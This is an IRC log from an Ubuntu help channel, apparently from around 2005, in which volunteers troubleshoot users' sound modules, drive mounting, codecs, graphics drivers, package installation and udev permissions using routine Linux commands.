[05:27] <masterloki> Lunitk: I have the module (snd-via82xx)
[05:27] <runelind> cause I'm mounting a windows drive
[05:27] <Madpilot> hi everyone
[05:27] <lunitik> funkyHat, thats bad advice... too many apps default to using esd... but gnome etc uses gstreamer (which is all that changes)
[05:28] <bytefoo> what is PREFIX?
[05:28] <masterloki> funkyHat: who do I set ins ans outs to alsa
[05:28] <funkyHat> lunitik, i'm just fishing for clues
[05:28] <n1xt3r> runelind: read the man page for mount, try setting uid and gid or umask
[05:28] <professor_chaos> runelind, I think you either have access or don't. Not read only. I might be wrong, prove it.
[05:28] <funkyHat> masterloki, system, preferences, multimedia systems selector
[05:29] <lunitik> masterloki, that is loaded? sudo -i ... then in the resulting root environment... echo /dev/urandom > /dev/dsp
[05:29] <lunitik> masterloki, this sees if the module itself is working...
[05:29] <funkyHat> masterloki, as lunitik said all that is changing is the gnome sounds, if that does work, you will have to chage your settings in other applications
[05:30] <intelikey> lunitik a sound file would be better than /dev/urandom   ;/
[05:30] <ubuntu> ok, im so confused i can't find anything,lol, but I finally have run a live cd and connected to internet, can someone tell me link to how to save my live settings? im tired of searching.................
[05:30] <masterloki> man let me change to Gnome
[05:30] <lunitik> intelikey, you know where one is located?  cuz I can't be asked to go in search of one  :/
[05:31] <funkyHat> /usr/share/sounds/*
[05:31] <ubuntu> in others words, is thee a specefi app?
[05:31] <qt2> shouldnt using synaptic to install nvidia drivers automatically set up 3d acceleration?
[05:32] <funkyHat> qt2, there is an instruction in the description of the nvidia-glx package, did you follow it?
[05:32] <ShadowUB> Hi, I am trying the live install of Ubuntu and am having some problems
[05:32] <ShadowUB> can someone please help?
[05:32] <ubuntu> ok.............
[05:32] <paulproteus|lapt> ShadowUB: It's not a "live install", just a "live CD".
[05:32] <paulproteus|lapt> It doesn't install anythingl.
[05:32] <lunitik> ShadowUB, if you ask ... sure
[05:32] <ShadowUB> i meant live cd
[05:32] <paulproteus|lapt> !asktoask
[05:32] <ubotu> methinks asktoask is We'll never know what your question is unless you ask it.  Don't ask if you can ask; don't ask if we can answer a question - ask a question!
[05:32] <lunitik> ubuntu, welcome to IRC... /nick somethingelse
[05:32] <ubuntu> crap, i think im invissable
[05:32] <ShadowUB> ok say i try to play a file, i get an error to check if totem was installed correctly
[05:32] <ubuntu> lol
[05:32] <ShadowUB> and the same thing for almost all the other apps
[05:33] <ShadowUB> the only stuff that works is firefox and gimp, even gimp throws some errors
[05:33] <ShadowUB> is this normal or .. what am i doing wrong?
[05:33] <professor_chaos> ubuntu, why are you booting over and over to the live CD instead of installing???
[05:33] <ShadowUB> me? this is the first time ive ever tried ubuntu period
[05:33] <ShadowUB> i wanted to experience it a bit
[05:34] <Madpilot> ShadowUB: there's no mp3 support on the LiveCD, of that's what you're trying with Totem...
[05:34] <ShadowUB> but.. its not really working :)
[05:34] <professor_chaos> ubuntu, I don't really know the answer to you question, I didn't think anyone would want to do that?
[05:34] <ShadowUB> ah
[05:34] <lunitik> ShadowUB, thats not normal... however I'm not sure exactly what the issue would be...
[05:34] <ShadowUB> so mpg files wont play either, i gather
[05:34] <lunitik> ShadowUB, mdz would be the man to ask about all things livecd ... he maintains it ...
[05:34] <ShadowUB> gotcha
[05:34] <ShadowUB> i like the look of this distro and am going to set it up, just wanted to get a feel for it :)
[05:34] <lunitik> ShadowUB, the LiveCD doesn't include codecs etc... you can however grab them after install...
[05:35] <lunitik> ShadowUB, legally, Ubuntu cannot distribute these things... but others are kind enough to do so instead  :)
[05:35] <ShadowUB> i gotcha
[05:35] <ShadowUB> im impressed that it was able to read all my ntfs volumes
[05:35] <lunitik> ShadowUB, simularly, GIMP can't open some document types by default...
[05:35] <ShadowUB> and find my windows network without problems
[05:35] <ShadowUB> yep..
[05:36] <lunitik> ShadowUB, :)
[05:36] <ShadowUB> the errors i got with gimp.. uhh let me run it
[05:36] <ShadowUB> "failed to open file /usr/share/gimp/2.0/menus/toolbox-menu.xml"
[05:36] <ShadowUB> faled to open a bunch of other files.. but its running
[05:36] <masterloki> lunitik: Ok in the first option with pipeline alsasink I've got an error
[05:37] <lunitik> masterloki, whats it say?
[05:37] <Madpilot> ShadowUB: do all the GIMP toolboxes look like they're there?
[05:37] <ShadowUB> yes, Madpilot
[05:37] <masterloki> lunitik: can't not build testing pipeline fot ALSA
[05:37] <ShadowUB> trying the device manager, id like to see how much of my stuff it detected
[05:37] <lunitik> masterloki, blah... ls /dev/dsp  ... is it there?
[05:38] <masterloki> lunitik: nope
[05:38] <lunitik> masterloki, 'sudo pkill -HUP esd' if it is, and try again
[05:38] <lunitik> masterloki, ahh... lsmod | grep snd  ... you sure its there?
[05:39] <lunitik> masterloki, (the module - snd-via82xx)
[05:39] <masterloki> lunitik: The module is there
[05:39] <lunitik> masterloki, if its any consolation... I know Ubuntu works with it.. because thats what my other box uses  :)
[05:39] <Carpe_Libertatem> Hey - I need a distro reccomendation for a friend. It's a laptop with a P1 266mhz Chip, 2gb HDD, and 64 MB of RAM.
[05:40] <|Imp|> windows 95
[05:40] <masterloki> lunitik: I've killed esd now what
[05:40] <intelikey> lol
[05:40] <nalioth> Carpe_Libertatem: damn small linux
[05:40] <lunitik> masterloki, strange... 'dmesg | grep audio' return anything?
[05:40] <lunitik> masterloki, doesn't matter for now... your kernel isn't recognizing your sound...
[05:40] <masterloki> lunitik: Nothing
[05:40] <lunitik> s/sound/sound card/
[05:41] <ShadowUB> question..
[05:41] <phunkinaye> can i run ubuntu on atari 800?
[05:41] <masterloki> lunitik: Should I rebuild the kernel
[05:41] <intelikey> Carpe_Libertatem that will run any linux distro, if you like cli .   other wise.   go with the  95 sujestion
[05:41] <lunitik> masterloki,
[05:41] <lunitik> no
[05:41] <masterloki> lunitik
[05:41] <ShadowUB> i 'm missing a drive.. i have cdrom, E (USB) and an F (firewire) drive.. how do I access drives C and D: :)
[05:41] <lunitik> masterloki, wait... is it a custom kernel?
[05:41] <Carpe_Libertatem> It won't run anything with a GUI?
[05:41] <ShadowUB> two 120 gig drives.. any ideas?
[05:41] <masterloki> lunitik: Nope is the one packed
[05:42] <|Imp|> Carpe_Libertatem, nope
[05:42] <ShadowUB> they're ntfs formatted, jsut like the externals
[05:42] <|Imp|> too little ram
[05:42] <masterloki> lunitik: but I've got K7 AMD
[05:42] <lunitik> masterloki, ok... then no  :)
[05:42] <|Imp|> if you can get 256 ram into it
[05:42] <|Imp|> then you can run gui
[05:42] <lunitik> masterloki, same exact thing I used to have... very strange  ;(
[05:42] <nalioth> Carpe_Libertatem: try "damn small linux" you (and your friend) might be surprised
[05:42] <intelikey> Carpe_Libertatem it will run a linux GUI but you will be into swap space all the time and with that setup they will dever be pleased.
[05:42] <ShadowUB> nautilus doesnt work..
[05:43] <Carpe_Libertatem> Can DSL format a HDD and install itself onto it?
[05:43] <nalioth> Carpe_Libertatem: it is a live/installable distro all on one disk
[05:43] <nalioth> howdy tritium
[05:43] <Carpe_Libertatem> All right. I reccomended that earlier in passing, but I did not know if it could install itself or not. :-P
[05:43] <Carpe_Libertatem> Danke schoen.
[05:44] <tritium> hey nalioth :)
[05:44] <Chrustinho> does anyone know a fast audio cd ripper. I am using abcde, but i had some windows cd rippers which were much more faster...
[05:44] <iratsu> where can i fetch info about the CPU and motherboard i'm running?
[05:44] <bytefoo> it's actually schoene ;)
[05:44] <lunitik> masterloki, you have OSS modules loaded?
[05:44] <bytefoo> since you can't make an umlaut :o
[05:44] <nalioth> Chrustinho: try grip
[05:44] <masterloki> lunitik: dunno
[05:45] <nalioth> iratsu: at a terminal, type "cat /proc/cpuinfo"
[05:45] <intelikey> pci card lunitik
[05:45] <Chrustinho> does grip rip faster than with the original speed (1x)?
[05:45] <masterloki> lunitik: how do I check
[05:45] <pepe> alright here goes again
[05:45] <lunitik> masterloki, lsmod | grep snd   .... anything stating 'snd_pcm_oss'?
[05:45] <pepe> I've been working on this for a while, and I still have no sound whatsoever
[05:45] <nalioth> Chrustinho: try it. also you can search in synaptic for "ripper" or look at freshmeat.net or sourceforge.net
[05:46] <ShadowUB> could someone help me access the missing drives on my system?
[05:46] <phunkinaye> hey, can anybody see me?
[05:46] <Madpilot> Chrustinho: Sound Juicer gets up to 2.7x for me...
[05:46] <pepe> actually
[05:46] <lunitik> phunkinaye, nope... sorry
[05:46] <phunkinaye> haha
[05:46] <phunkinaye> ok
[05:46] <masterloki> lunitik: snd_pcm_oss is emptu
[05:46] <masterloki> lunitik: snd_pcm_oss is empty
[05:46] <pepe> I give up, I'll just throw gentoo on this box, and that'll fix everything
[05:46] <deprave> .deb packages are auto packages right?
[05:46] <Chrustinho> nalioth: ok, i know, but perhaps someone had some experiences with a good and especially fast ripper
[05:46] <pepe> so much for giving Ubuntu a shot, geez
[05:46] <lunitik> masterloki, thats fine...
[05:46] <pprince_> Chrustinho: If you asking, does a CD ripping program read data from a CD faster than the length of time it takes to play the music on it, then yes.
[05:46] <bytefoo> :/
[05:46] <masterloki> lunitik: but snd_pcm has snd_pcm_oss
[05:46] <deprave> .deb packages are auto packages right?
[05:46] <lunitik> masterloki, its loaded... thats a good thing...
[05:47] <pprince_> pepe: haha, as a Gentoo and Ubuntu user I find your comment humorous.
[05:47] <deprave> .deb packages are auto packages right? or how do you go about installing them, dpkg -i?
[05:47] <Dragon513> a.. I just installed the new ATI Radeon driver and on the ATI control panel it says "transfer mode" is "PCI"
[05:47] <Dragon513> i use 9600
[05:47] <killapop> [OFF TOPIC]  sorry - is there any way to avoid getting spammed?
[05:47] <Dragon513> shouldn't it be AGP 8X?
[05:47] <lunitik> masterloki, bah.... enless intelikey has any better ideas... restart... Ubuntu really doesn't have any nice sound config tools  :/
[05:47] <bytefoo> look at the topic :|
[05:47] <paulproteus|lapt> killapop: Yes, see topic.
[05:47] <Guardian> whats with all the spammers
[05:47] <pepe> pprince: how come?
[05:47] <pprince_> deprave: They're best installed from the net, from an official Ubuntu repository, with Synaptic, aptitude, or apt-get.  They autoresolve dependencies.  Using dpkg like that is as bad as... rpm.
[05:48] <killapop> Ooops!!!
[05:48] <nalioth> Chrustinho: i can't remember the last time i ripped a cd, so won't be much help
[05:48] <masterloki> lunitik: is something for a to-do list
[05:48] <nalioth> deprave: .debs are not autopackages
[05:48] <bytefoo> i can't remember the last time I owned a cd :X
[05:48] <nalioth> killapop: see /topic
[05:48] <pepe> pprince: my two reasons thus far for not just installing gentoo on this are because emerging would take a while on this compy (it's pretty old), and I can't really teach my grandfather how to use gentoo -.-
[05:48] <Chrustinho> ok, thanks, folks :)
[05:48] <nalioth> Guardian: see /topic
[05:48] <lunitik> masterloki, indeed... someone really should work on porting Fedora's system-config-sound to Ubuntu... but I digress...
[05:49] <pprince_> pepe: I've yet to encounter a system Ubuntu didn't run perfectly on, but of course there are some.  What's your issue?
[05:49] <lunitik> masterloki, sometimes, rebooting fixes the sound... has here before (on that same configuration)
[05:49] <Guardian> thanks
[05:49] <stoeptegel> argh damn spammers (why do they even think i'am gone hit the url? :s)
[05:49] <pepe> my sound refuses to work... at all
[05:49] <pepe> which is strange because I'm on a VIA AC97, not some obscure sound card
[05:49] <pprince_> stoeptegel: It's a numbers game.  Apparently enough people do to make it worth the effort to spam.
[05:49] <nalioth> stoeptegel: see /topic for a barrier to them
[05:50] <masterloki> lunitik: I read the forums and rebooted several times, with the thing posted there but let give it a try
[05:50] <lunitik> tritium, not everyone is using IRSSI ... tell people about /mode <your_nick> +CE instead
[05:50] <pprince_> pepe: Do you see your sound hardware being detected in dmesg?
[05:50] <paulproteus|lapt> lunitik: /umode works for me in gaim, fwiw
[05:50] <bytefoo> someone should port HWD from archlinux to ubuntu :|
[05:50] <pepe> I haven't noticed that
[05:50] <pepe> lspci does detect it though
[05:50] <pepe> hm
[05:50] <lunitik> paulproteus|lapt, it doesn't work in XChat... so its not a valid mechanism...
[05:50] <pprince_> lspci shows all PCI devices, supported or not.
[05:50] <pprince_> pepe: ^^
[05:51] <paulproteus|lapt> brb, all
[05:51] <tritium> lunitik, it works in xchat too
[05:51] <lunitik> tritium, no, no it doesn't.
[05:51] <pepe> what should I grep to check that, then? O.o
[05:52] <tritium> lunitik, I'm using xchat, dude, and I did it...
[05:52] <pprince_> pepe: dmesg | grep recently after a reboot, or perhaps /var/log/dmesg
[05:52] <pepe> well yes, but what exactly do I grep? :P
[05:53] <pepe> dmesg | grep *?
[05:53] <lunitik> pprince_, uhhh... grepping for nothing?
[05:53] <pprince_> pepe: I would just read through it, or look for things like sound, 97, snd, etc
[05:53] <tritium> lunitik, make sure you're using capital letters ;)
[05:53] <pprince_> lunitik: I thought he meant what file/command output does he grep, not what fo.
[05:53] <masterloki> lunitik: Back and no sound :-\
[05:54] <pepe> anyways
[05:54] <pepe> I don't see it in there
[05:54] <lunitik> masterloki, I don't know what to tell you man... this is an ongoing issue with Ubuntu though... someone with the technical knowledge should do something about it...
[05:54] <pepe> how do I get it to load, then? heh
[05:54] <lunitik> masterloki, I have ran you through all the steps I take... and I always get sound to work.
[05:54] <funkyHat> lunitik, the issue is esd ;)
[05:54] <funkyHat> it's nice if it works (and if you can cope with the delay ;);))
[05:54] <lunitik> funkyHat, no... no its not... I'm using esd... and he killed esd  :/
[05:54] <pepe> sound really does seem to be a huge issue in Ubuntu, forum's swarming with posts, yet no solutions
[05:55] <intelikey> you can run any command from xchat that you can type in a command propmt.....      /exec <command>
[05:55] <deprave> how do i install a .deb file
[05:55] <lunitik> intelikey, /exec -o even lets us see it  ;)
[05:55] <pepe> well, when I try to change the sound output system to ALSA, it says it can't make a test pipeline to it...
[05:55] <intelikey> or any other irc client i've ever used
[05:55] <lunitik>  20:55:46 up  4:38,  2 users,  load average: 0.09, 0.11, 0.16
[05:55] <Madpilot> pepe: true - some of us where lucky enough to have it work out of the box, though. (AC/97 onboard sound, no problem at all...)
[05:55] <tritium> deprave, with dpkg -i
[05:55] <lunitik> haha @ that being weak... but yeah  :)
[05:55] <deprave> thanks thought so
[05:56] <intelikey> lunitik yeah i left the -o out on purpose
[05:56] <tritium> deprave, man dpkg for more info ;)
[05:56] <|Imp|> how can i use xnest to run two sessions at once?
[05:56] <masterloki> lunitik: let's see I've got VIA8235 card and snd-via82xx driver, alsamixer says PCM and Master are at 100%. Anything else??
[05:56] <lunitik> intelikey, its useless for seriously moronic users  ;)
[05:57] <lunitik> masterloki, dude... you don't have a /dev/dsp ... this means the kernel has no idea about how to control your soundcard...
[05:57] <lunitik> masterloki, it knows about it to some extent due to it (likely) showing up fine in lspci ... but alas, it can't do anything with it...
[05:57] <masterloki> lunitik: How do I set this up
[05:57] <|Imp|> how can i use xnest to run two sessions at once?
[05:58] <|Imp|> i want to use gdm from a nested window
[05:58] <lunitik> masterloki, grrr... it should be working... all your correct sound modules are loaded... idk what is wrong
[05:58] <pepe> I'm guessing there's no way to do a make menuconfig kernel edit to make sure everything's all set in the kernel for Ubuntu, is there?...
[05:58] <pepe> not without changing around tons of other settings that is
[05:58] <tritium> pepe, if you want to compile your own, you can do that...
[05:59] <pepe> I don't mind that ^^
[05:59] <Dreamer3> are changes to dev in ubuntu not sticky?
[05:59] <Bored1ed> hello all
[05:59] <intelikey> pepe masterloki you both need to "man modprobe"
[05:59] <|Imp|> hello?
[05:59] <tritium> |Imp|, is xnest installed?
[05:59] <lunitik> pepe, that won't do much... most you can do is compile the module into the actual kernel... but it won't fix the issue... the driver is loaded, and its not working
[05:59] <|Imp|> tritium, yup
[06:00] <lunitik> intelikey, the modules are loaded.
[06:00] <tritium> |Imp|, you should be able to open a new login in a nested window from Applications->System Tools
[06:00] <|Imp|> how do i reset gnome?
[06:00] <masterloki> intelikey: I have the proper drivers
[06:00] <bytefoo> ctrl+alt+backspace
[06:00] <lunitik> |Imp|, you log out and back in
[06:00] <bytefoo> or that :-/
[06:00] <Dreamer3> how do i make a changes to /dev/ stay in place?
[06:01] <pepe> very well, then what module should I modprobe? modprobe alsa?
[06:01] <lunitik> Dreamer3, what are you trying to do?    modules.conf  :/
[06:01] <Dreamer3> lunitik: the qemu install created an entry with certain permission in dev... and it's gone after a reboot
[06:02] <intelikey> Dreamer3 you script them and let the script run at startup or stop using udev  or edit udev.conf  or should i go on ?
[06:02] <pepe> oh interesting
[06:02] <melfyk> Imp: to restart the gui you press ctrl+alt+bkspace
[06:02] <pepe> apparently, I only have about 6 modules to be loaded at boot time
[06:02] <pepe> none of which have anything to do with sound...
[06:02] <Dreamer3> intelikey: hmmmm, is not using udev a valid option?
[06:02] <pepe> ...
[06:02] <lunitik> pepe, yeah... thats bad  ;)
[06:02] <lunitik> pepe, you know the correct module?
[06:03] <phunkinaye> "Sessions" is how I would save my current settings, correct?
[06:03] <pepe> no :-\
[06:03] <lunitik> pepe, what does lspci say about it?
[06:03] <masterloki> lunitk intelikey pepe, hold on I read that id you install alsa-oss it might wotk
[06:03] <pepe> 0000:00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233/A/8235/8237 AC97 Audio Controller (rev 60)
[06:03] <intelikey> yes but it will eliminate 'hotplug' also   thus usb devices will require mounting and unmounting ...    not the best of ideas...
[06:03] <tritium> intelikey, see /usr/share/doc/udev/README.Debian.gz
[06:04] <lunitik> pepe, haha... same thing as masterloki ;)
[06:04] <tritium> you can disable udev
[06:04] <pepe> :P
[06:04] <lunitik> pepe, modprobe snd-via82xx
[06:04] <masterloki> lunitk intelikey pepe, this won't work??
[06:04] <lunitik> masterloki, try it
[06:04] <masterloki> Ok
[06:04] <lineage> hello all, i need some help please...i'm trying install a dvd game by cedega, but appears this:
[06:04] <pepe> lunitik I did... don't get nothing
[06:05] <deprave> anyone have success installing scribus 1.3 ?
[06:05] <intelikey> no error means no error.
[06:05] <lineage> hello all, i need some help please...i'm trying install a dvd game by cedega, but appears this::
[06:05] <lineage> area51@mark:/cdrom$ sudo cedega  /mnt/cdrom/setup.exe
[06:05] <lineage> wine: '/home/area51/.transgaming/wineserver-mark' is not owned by you
[06:05] <dreamie> what is the program to watch dvds in ubuntu?
[06:05] <|Imp|> hey, how do i get XDMCP chooser to work with xnest?
[06:05] <lunitik> pepe, is /dev/dsp there
[06:05] <paulproteus|lapt> lineage: Do:
[06:05] <lunitik> ?
[06:05] <pepe> alright, just double checking here, how do I check exactly what modules I have loaded again? I may have checked in the wrong place..
[06:05] <deprave> .j scribus
[06:05] <paulproteus|lapt> sudo chown -R area51.area51 /home/area51/
[06:05] <Carpe_Libertatem> dreamie: I use Xine, but you can use other programs.
[06:06] <lunitik> pepe, lsmod
[06:06] <pepe> yup, dsp exists, thankfully
[06:06] <paulproteus|lapt> Carpe_Libertatem: Good to see you back.
[06:06] <pepe> oh
[06:06] <lunitik> pepe, you want lsmod | grep snd though
[06:06] <pepe> there we go ^^
[06:06] <dreamie> Carpe_Libertatem , is that installed? or do i have to install it? where do i get it?
[06:06] <lineage> thanks paulproteus|lapt  i'll try
[06:06] <pepe> hmmm
[06:06] <lunitik> pepe, your sound should be ok then... try restarting GNOME and see if it makes any noise  :)
[06:06] <pepe> alright...
[06:06] <Bored1ed> how do u use xine?
[06:06] <Thread-x> gnite fellows.. im working with ubuntu . . and im getting this the keyboard and
[06:06] <Dreamer3> intelikey: so, i have to script changes?
[06:06] <Thread-x> > mouse buttons go haywire. Keys repeat like ccccccccccraaazzzzzzzzyyy and
[06:06] <Thread-x> > mouse button clicks register erratically. As a result, the desktop is
[06:06] <Thread-x> > unusable.
[06:06] <pepe> brb then
[06:06] <Carpe_Libertatem> dreamie: Not installed by default, you need to run a terminal and apt-get it, or use Synpatic. Type in Xine at the search.
[06:07] <lineage> nothing happens paulproteus|lapt
[06:07] <lunitik> pepe, if it does... type the module name in /etc/modules so you don't have to keep modprobing
[06:07] <lunitik> GRRRRRRRRRRRRRRRRRRR
[06:07] <lunitik> Dreamer3, bed time?
[06:08] <paulproteus|lapt> lineage: If it finished, try Cedega again.
[06:08] <ksmurf> hello all 2 questions.  First is there someway to uninstall the Official Driver for Nvidia.  2nd Is Nvidia-glx working?
[06:08] <ksmurf> for Breezy
[06:08] <dreamie> how do i create a password for root?
[06:09] <NoUse> !root
[06:09] <ubotu> I heard root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[06:09] <Carpe_Libertatem> dreamie: You don't use root. Use sudo.
[06:09] <pprince_> dreamie: sudo passwd, but don't do it, as stated.
[06:09] <pprince_> dreamie: you can do anything with sudo you can do with root, and sudo -s is handy.
[06:09] <connorp> hi
[06:09] <carthik> dreamie, and if you are missing hte # prompt do sudo -s -H
[06:09] <tritium> or sudo -i
[06:09] <masterloki> lunitik, any progress
[06:10] <ksmurf> !nvidia breezy
[06:10] <ubotu> ksmurf: Syntax error in line 1
[06:10] <lunitik> masterloki, he hasn't come back yet  :/
[06:10] <connorp> im new to ubuntu..any tips for a new user?
[06:10] <ksmurf> !nvidia
[06:10] <ubotu> rumour has it, nvidia is at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia
[06:10] <lunitik> masterloki, you install alsa-oss?
[06:10] <dreamie> i am in terminal and i want to install xine... how do i do this if it asks me for root
[06:10] <masterloki> lunitik, yep but didn't work
[06:10] <lunitik> dreamie, sudo apt-get install foo
[06:10] <intelikey> Dreamer3 the changes you make to /dev   'for what ever reason'  can all be saved to one file.  close your terminal and open one then edit .bash_history and save the exact commands that fixed your /dev/  to one file. (note remove any 'sudo' s )  save the fils as S99fix_dev  chmod the file 740  and put it in /etc/rcS.d    there you go can i do it for you ?
[06:10] <pepe> still no go on my sound system
[06:11] <paulproteus|lapt> lineage: Any luck?
[06:11] <lunitik> pepe, did you restart the system... or just GNOME?
[06:11] <pepe> the system
[06:11] <lineage> paulproteus|lapt,  nothing.
[06:11] <lunitik> pepe, bah
[06:11] <dreamie> can't find package
[06:11] <pepe> O.o
[06:11] <pepe> ooo
[06:11] <pepe> whoops? ^^
[06:11] <kelly_> please help... my modem does not work...
[06:11] <lineage> just one question, sudo chown -R area51.area51 /home/area51/ <- this is exactly for what ?
[06:11] <Dreamer3> intelikey: thanks, that's almost step by step :)
[06:11] <kelly_> i have tried all...option...
[06:11] <deprave> jesus the spam on this network is terrible
[06:11] <lunitik> pepe, sudo nano /etc/modules  ... and throw 'snd-via82xx' in there again
[06:11] <ksmurf> does nvidia glx work for breezy yet?
[06:12] <bytefoo> what can i use to burn .iso files :|
[06:12] <pepe> lsmod does say the snd_via82xx module is loaded though
[06:12] <Dreamer3> wow, are sex bots more active than usual?
[06:12] <pepe> it's there lol
[06:12] <pepe> it seems to be loading on startup anyways
[06:12] <lunitik> pepe, restarting will have put you in the same situartion again
[06:12] <carthik> Dreamer3, yeah -- full-moon -- horny bots.. the works....
[06:12] <pepe> I don't think I changed anything though...
[06:12] <Dreamer3> carthik: that sucks
[06:12] <lunitik> pepe, bah... its in lsmod ... but isn't working?
[06:12] <pepe> nope
[06:12] <bytefoo> alsamixer? :D
[06:12] <carthik> Dreamer try /umode +CE to bar them
[06:12] <lunitik> pepe, you mean yes?
[06:13] <intelikey> Dreamer3 if you really want it to be up to code,  start the file with "#!/bin/sh "   <--- that line without the quotes...
[06:13] <pepe> it's not working
[06:13] <pepe> I get no sound
[06:13] <lunitik> pepe, and /dev/dsp is still around?
[06:13] <pepe> the Volume Meter, though, seems to think there's sound coming out pretty much ok whenever I play a sound file
[06:13] <Dreamer3> intelikey: i know how to write a bash (or sh) script :-)
[06:13] <dreamie> is there another dvd viewer except xine?
[06:13] <lineage> just one question, paulproteus|lapt,  sudo chown -R area51.area51 /home/area51/ <- this is exactly for what ?
[06:13] <pepe> yup dsp still there
[06:13] <Dreamer3> intelikey: mostly i was just asking the repurcussions of ditching udev earlier
[06:13] <Dreamer3> lately seems like things i do in linux are harder
[06:14] <pepe> my volume meter bounces around happily whenever I play a sound file
[06:14] <bimberi> pepe: btw, don't forget to remove that "acpi_irq_isa=7" kernel option if it didn't work for you
[06:14] <pepe> but I'm getting no output
[06:14] <net_benjo> does someone know how to get a city code for Toronto, ON from the weather.com website?????i've just spent 30 min looking for the darn thing
[06:14] <pepe> ah yes
[06:14] <pepe> where was that again?...
[06:14] <dasreich> Hi
[06:14] <carthik> dreamie, there is totem and there is gmplayer
[06:14] <kelly_> can somebody look up...my scanmodem data... http://pastebin.com/349776 i can not pin point what is model..type or model... please..
[06:14] <bimberi> pepe: /boot/grub/menu.lst
[06:14] <pepe> thanks
[06:14] <kelly_> im newbee...
[06:15] <dreamie> carthik, talking to me?
[06:15] <intelikey> major repercutions are no hotplug   and possably having to use 'sudo mount /blah '  a lot more.
[06:15] <dasreich> i just installed ubuntu and I enter my login/password and it hangs and i can move the mouse, anyone know whats up?
[06:15] <kelly_> can somebody look up...my scanmodem data... http://pastebin.com/349776 i can not pin point what is model..type or model... please.. im newbee....
[06:15] <net_benjo> anybody?? how do you find a code for your city for iWeather gdesklet???
[06:15] <blrich> can somone help? i can't get my onboard graphics card to be recognised by X
[06:15] <Dreamer3> yeah!
[06:15] <Dreamer3> my first DSL works :)
[06:15] <Dreamer3> almost
[06:16] <blrich> I have a gigabyte k8vm800m via chipset mobo, but the graphics isn't recognised by anything
[06:16] <puff> lunitik: Well, so reinstalling the linux-image package fixed the wireless module... until I suspended to disk and resumed, and it was back.
[06:16] <carthik> dreamie, you asked about dvd players, and i used your name/nick so yes i was talking to you, indeed
[06:16] <lunitik> Dreamer3, you're hosting a pppoe?
[06:16] <dreamie> carthik, how do i get those? i tried to apt-get install them but it doesnt work
[06:16] <Dreamer3> lunitik: no, building a package for damnsmall linux :)
[06:16] <blrich> can anyone help me?
[06:16] <carthik> dasreich,  sounds like a bad x.org set up....
[06:16] <puff> Reinstalling and rebooting again fixed it, then tested suspend-to-disk and resumed, problem's back. Reinstalled and rebooted, wireless is back and I got back online to ask for help :-(
[06:16] <pepe> hmmm
[06:16] <lunitik> Dreamer3, ohhh... you're leaving us?
[06:17] <pepe> maybe I should just try reinstalling the whole system?.....
[06:17] <carthik> dreamie, refer to http://ubuntuguide.org for step by step instructions.... ubuntuguide just has the instructions though.. things might still be unavailable etc... be forewarned :)
[06:17] <dasreich> carthik: how do I change this though I mean it didn't prompt me to really do anything
[06:17] <Dragon513> I"m getting errors from running :fgl_glxgears"
[06:17] <net_benjo> does anybody know how to find your city code for iWeather gdesklet, if you don't livein US????
[06:17] <lunitik> pepe, no harm in trying... chances are it'll work after...
[06:17] <NoUse> !ubuntuguide
[06:17] <ubotu> ubuntuguide is, like, a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.
[06:17] <deprave> anyone have success installing scribus 1.3 on ubuntu hoary-hedgehog yet?
[06:17] <Dreamer3> lunitik: hardly :)
[06:17] <lunitik> Dreamer3, kgood  :)
[06:17] <Dreamer3> lunitik: different distros for different purposes :)
[06:18] <net_benjo> iweather gdesklet? where is my city code located???????
[06:18] <dasreich> dreamer3: which is best if I don't know wtf im doing in linux but i want to play games?
[06:18] <lunitik> Dreamer3, hehe... I never got that concept... I just customize one distro for everything  :)
[06:18] <Madpilot> net_benjo: most of the world should be in the weather thing - search for your local airport
[06:18] <lunitik> dasreich, haha... SUSE comes with a lot of games... and is very easy to work with...
[06:18] <intelikey> kelly_  Modem: Silicon Integrated Systems [SiS]  AC'97 Modem
[06:18] <net_benjo> Madpilot; thanks..i'll try that...
[06:18] <lineage> paulproteus|lapt, i made it! thanks man!
[06:18] <dasreich> no i mean like halflife2 i want to play halflife2
[06:19] <dasreich> in linux
[06:19] <lunitik> dasreich, if you're really into gaming though... should just stick to Windows.... it is by far the best gaming platform...
[06:19] <Dreamer3> dasreich: no idea, i do'nt play games
[06:19] <lineage> i am installing right now hl2
[06:19] <Dreamer3> lunitik: well, try, but some distros are closer to certain purposes than others...
[06:19] <kelly_> intelikey: thanks! does ubuntu support this?
[06:19] <Dreamer3> lunitik: as long as it's debian i'm in ;-)
[06:19] <lunitik> Dreamer3, ;)
[06:19] <carthik> dasreich, you can a) restart the x.org xserver by doing a ctrl+alt+backspace and see if that fixes it... else switch a prompt (ctrl+f1) and then do a dpkg-reconfigure xserver-xorg  to reconfigure the xserver after noting down the values for the refresh rates etc for the monitor...
[06:20] <lunitik> Dreamer3, there is a certain convenience with starting closer to where you want to be  ;)
[06:20] <bytefoo> god i'm done
[06:20] <carthik> dasreich, if you know what monitor it is, searching on google for the monitor name + ubuntu might be of some help too
[06:20] <bytefoo> dumb :|
[06:20] <dasreich> carthik: no keys actually work
[06:20] <bytefoo> i spent all day wondering why my wireless didn't work after I fixed everything up
[06:20] <lunitik> Dreamer3, damnsmall linux is a debian too?
[06:20] <dasreich> oh?
[06:20] <bytefoo> and i just realized its because i'm using a different kernel :|
[06:20] <masterloki> lunitik, GOD DAM IT I GOT IT
[06:20] <net_benjo> Madpilot: I found a code for toronto, but it doesnt work.......gdeskelt needs a different code
[06:20] <dasreich> thanks
[06:20] <lunitik> masterloki, enlighten pepe then please  :)
[06:21] <keith> i need a lot of help wit hteh synaptic package finder
[06:21] <keith> anythign i try to install from it or sudo apt-get install returns the same error
[06:21] <dasreich> I actually tried to boot in ubuntu live and it didnt work
[06:21] <keith> E: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline
[06:21] <masterloki> lunitik, odd solution but I have sound now
[06:21] <dasreich> also
[06:21] <keith> i really need to install more stuff as i just reformatted but cant get around this problem
[06:21] <lunitik> masterloki, I'm sure thats all pepe will care about also  :)
[06:21] <masterloki> pepe, I have it
[06:21] <masterloki> pepe, do you read/speak spanish
[06:22] <masterloki> pepe, ??
[06:22] <keith> and y are the spammers so bad here now?
[06:22] <lunitik> masterloki, guess he doesn't want it that bad...
